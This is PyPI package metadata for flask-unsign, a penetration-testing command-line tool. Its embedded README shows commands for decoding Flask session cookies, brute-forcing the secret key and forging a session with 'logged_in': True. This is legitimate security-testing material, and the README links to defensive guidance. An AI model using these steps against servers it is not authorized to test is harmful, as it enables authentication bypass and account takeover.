{ "info": { "author": "Luke Paris (Paradoxis)", "author_email": "luke@paradoxis.nl", "bugtrack_url": null, "classifiers": [ "License :: OSI Approved :: MIT License", "Programming Language :: Python", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: Implementation :: CPython", "Programming Language :: Python :: Implementation :: PyPy" ], "description": "# Flask Unsign\n[![Build Status](https://travis-ci.org/Paradoxis/Flask-Unsign.svg?branch=master)](https://travis-ci.org/Paradoxis/Flask-Unsign)\n[![PyPI version](https://badge.fury.io/py/flask-unsign.svg)](https://badge.fury.io/py/flask-unsign)\n[![codecov](https://codecov.io/gh/Paradoxis/Flask-Unsign/branch/master/graph/badge.svg)](https://codecov.io/gh/Paradoxis/Flask-Unsign)\n\nCommand line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.\nFor the standalone wordlist component, please visit the [flask-unsign-wordlist](https://github.com/Paradoxis/Flask-Unsign-Wordlist) repository.\n\n## Requirements\n* Python 3.6\n\n## Installation\nTo install the application, simply use pip:\n\n```\n$ pip3 install flask-unsign[wordlist]\n```\n\nIf you only want to install the core code, omit the `[wordlist]` suffix:\n\n``` \n$ pip3 install flask-unsign\n```\n\nTo install the tool for development purposes, run the following command (after downloading a copy):\n\n```\n$ pip3 install -e .[test]\n```\n\n## Usage\n\nTo get an overview of all possible options, simply call flask-unsign without \nany arguments like so:\n\n``` \n$ flask-unsign\n```\n\n### Obtaining & Decoding Session Cookies\nDue to the fact that Flask cookies are **signed** and **not encrypted**, it's \npossible to locally decode the session data. For this, you can use the `--decode` \nargument.\n\nSession cookies can be obtained by inspecting your HTTP requests using a proxy \nlike Burp Proxy, using your browser's network inspector or using a browser \nextension to view/change your cookies. By default, Flask uses the session name\n`\"session\"`. \n\n```\n$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'\n{'logged_in': False}\n```\n\nYou can also use Flask-Unsign's automatic session grabbing functionality by \npassing the `--server` argument, instead of the `--cookie` argument. *Do note \nhowever, **that not all web pages might return a session**, so be sure to pass an\nurl which does.*\n\n``` \n$ flask-unsign --decode --server 'https://www.example.com/login'\n[*] Server returned HTTP 302 (FOUND)\n[+] Successfully obtained session cookie: eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8\n{'logged_in': False}\n```\n\n### Unsigning (Brute Forcing Secret Keys)\nAfter obtaining a sample session cookie, you'll be able to attempt to brute-force \nthe server's secret key. If you're lucky, this might be set to something easy to \nguess, or if it's been found online, it might be in one of your wordlists. For \nthis, you can use the `--unsign` argument.\n\n``` \n$ flask-unsign --unsign --cookie < cookie.txt\n[*] Session decodes to: {'logged_in': False}\n[*] No wordlist selected, falling back to default wordlist..\n[*] Starting brute-forcer with 8 threads..\n[+] Found secret key after 351 attempts\n'CHANGEME'\n```\n\n### Signing (Session Manipulation)\nOnce you've obtained the server's secret key, you'll be able to craft your own \ncustom session data. For this, you can use the `--sign` argument.\n\n``` \n$ flask-unsign --sign --cookie \"{'logged_in': True}\" --secret 'CHANGEME'\neyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU\n``` \n\n## Troubleshooting\n\n* **Installing the program results in an error**\n * You might be using the wrong `pip` binary, try using\n the following command: `python3.6 -m pip install flask-unsign`\n* **I found a secret key, but my crafted sessions don't work!**\n * It might be possible that your target server uses an older version of \n [itsdangerous](https://github.com/pallets/itsdangerous). Due to \n [an issue](https://github.com/pallets/itsdangerous/issues/46) with timed \n sessions, the timestamp generation algorithm was changed. \n To generate an older signature, try using the `--legacy` option.\n* **My wordlist doesn't work**\n * Wordlists expect to be newline delimited \n [python strings](https://docs.python.org/3/library/stdtypes.html#str) \n (meaning you need to encapsulate them in quotes), this is so that \n binary strings can easily be stored in a newline format. If you don't want \n this, you can disable this feature by passing the `--no-literal-eval` \n argument.\n\n\n## How it works\nIf you're wondering how exactly this works, refer to my \n[blog post](https://blog.paradoxis.nl/defeating-flasks-session-management-65706ba9d3ce) \nwhich explains this in great detail, including a guide on how to protect your own server from this attack.\n\n## License\nMIT License\n\nCopyright (c) 2019 Luke Paris (Paradoxis)\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\n", "description_content_type": "text/markdown", "docs_url": null, "download_url": "", "downloads": { "last_day": -1, "last_month": -1, "last_week": -1 }, "home_page": "https://github.com/Paradoxis/Flask-Unsign", "keywords": "", "license": "MIT", "maintainer": "", "maintainer_email": "", "name": "flask-unsign", "package_url": "https://pypi.org/project/flask-unsign/", "platform": "", "project_url": "https://pypi.org/project/flask-unsign/", "project_urls": { "Homepage": "https://github.com/Paradoxis/Flask-Unsign" }, "release_url": "https://pypi.org/project/flask-unsign/0.0.2/", "requires_dist": [ "flask", "requests", "itsdangerous", "markupsafe", "werkzeug", "twine ; extra == 'dev'", "wheel ; extra == 'dev'", "setuptools (>=40.6.3) ; extra == 'dev'", "coverage ; extra == 'test'", "codecov ; extra == 'test'", "flask-unsign-wordlist ; extra == 'wordlist'" ], "requires_python": ">=3.6.0", "summary": "Flask Unsign is a penetration testing utility that attempts to uncover a Flask server's secret key by taking a signed session verifying it against a wordlist of commonly used and publicly known secret keys (sourced from books, GitHub, StackOverflow and various other sources).", "version": "0.0.2" }, "last_serial": 5557361, "releases": { "0.0.1": [ { "comment_text": "", "digests": { "md5": "5f3f45601ff211495e2248582da9fd4d", "sha256": "6c09ddfc367e3e108d75f022698af5dc8a6cc0947f315cd6f9044166c41eb53c" }, "downloads": -1, "filename": "flask_unsign-0.0.1-py3-none-any.whl", "has_sig": false, "md5_digest": "5f3f45601ff211495e2248582da9fd4d", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": ">=3.6.0", "size": 12847, "upload_time": "2019-01-26T11:44:05", "url": "https://files.pythonhosted.org/packages/3c/db/849396c2fa6e960db26925762060a866fc1b3cfdbfa9e66c7729b4e7c2d9/flask_unsign-0.0.1-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "e1a39d13fc2e6da66010be3e7bc5cfe2", "sha256": "c2b450e743c58ae6f9624e04c954c1765f069f776a1ca3410b416376a377acd1" }, "downloads": -1, "filename": "flask-unsign-0.0.1.tar.gz", "has_sig": false, "md5_digest": "e1a39d13fc2e6da66010be3e7bc5cfe2", "packagetype": "sdist", "python_version": "source", "requires_python": ">=3.6.0", "size": 13025, "upload_time": "2019-01-26T11:44:07", "url": "https://files.pythonhosted.org/packages/0b/75/e19f2ff64c46f098890108a5a4efad1a76f92afb1a2bfa01775a6d1f4e33/flask-unsign-0.0.1.tar.gz" } ], "0.0.2": [ { "comment_text": "", "digests": { "md5": "07cce2a9a5a2d55c064e535c002447dd", "sha256": "7c09cfc3c44fa25525993834f41140585964c9f0cd0789b8bfd95600e4c73ac6" }, "downloads": -1, "filename": "flask_unsign-0.0.2-py3-none-any.whl", "has_sig": false, "md5_digest": "07cce2a9a5a2d55c064e535c002447dd", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": ">=3.6.0", "size": 13329, "upload_time": "2019-07-19T16:12:12", "url": "https://files.pythonhosted.org/packages/d8/2e/1996f0f34d8c54b8259f0805c4624df150f9ee32d91ee153cc5aac47dd7d/flask_unsign-0.0.2-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "10dadd0f1af911d0d455211488d8adeb", "sha256": "64880d735c5d7c2bd0d4c6f5ab9222a273a7bd3699884b847ab36757e1a49233" }, "downloads": -1, "filename": "flask-unsign-0.0.2.tar.gz", "has_sig": false, "md5_digest": "10dadd0f1af911d0d455211488d8adeb", "packagetype": "sdist", "python_version": "source", "requires_python": ">=3.6.0", "size": 13796, "upload_time": "2019-07-19T16:12:14", "url": "https://files.pythonhosted.org/packages/c4/88/046b8c20a7731256a9e5f447037acdbc661a167ac4810121c319e082ca7e/flask-unsign-0.0.2.tar.gz" } ] }, "urls": [ { "comment_text": "", "digests": { "md5": "07cce2a9a5a2d55c064e535c002447dd", "sha256": "7c09cfc3c44fa25525993834f41140585964c9f0cd0789b8bfd95600e4c73ac6" }, "downloads": -1, "filename": "flask_unsign-0.0.2-py3-none-any.whl", "has_sig": false, "md5_digest": "07cce2a9a5a2d55c064e535c002447dd", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": ">=3.6.0", "size": 13329, "upload_time": "2019-07-19T16:12:12", "url": "https://files.pythonhosted.org/packages/d8/2e/1996f0f34d8c54b8259f0805c4624df150f9ee32d91ee153cc5aac47dd7d/flask_unsign-0.0.2-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "10dadd0f1af911d0d455211488d8adeb", "sha256": "64880d735c5d7c2bd0d4c6f5ab9222a273a7bd3699884b847ab36757e1a49233" }, "downloads": -1, "filename": "flask-unsign-0.0.2.tar.gz", "has_sig": false, "md5_digest": "10dadd0f1af911d0d455211488d8adeb", "packagetype": "sdist", "python_version": "source", "requires_python": ">=3.6.0", "size": 13796, "upload_time": "2019-07-19T16:12:14", "url": "https://files.pythonhosted.org/packages/c4/88/046b8c20a7731256a9e5f447037acdbc661a167ac4810121c319e082ca7e/flask-unsign-0.0.2.tar.gz" } ] }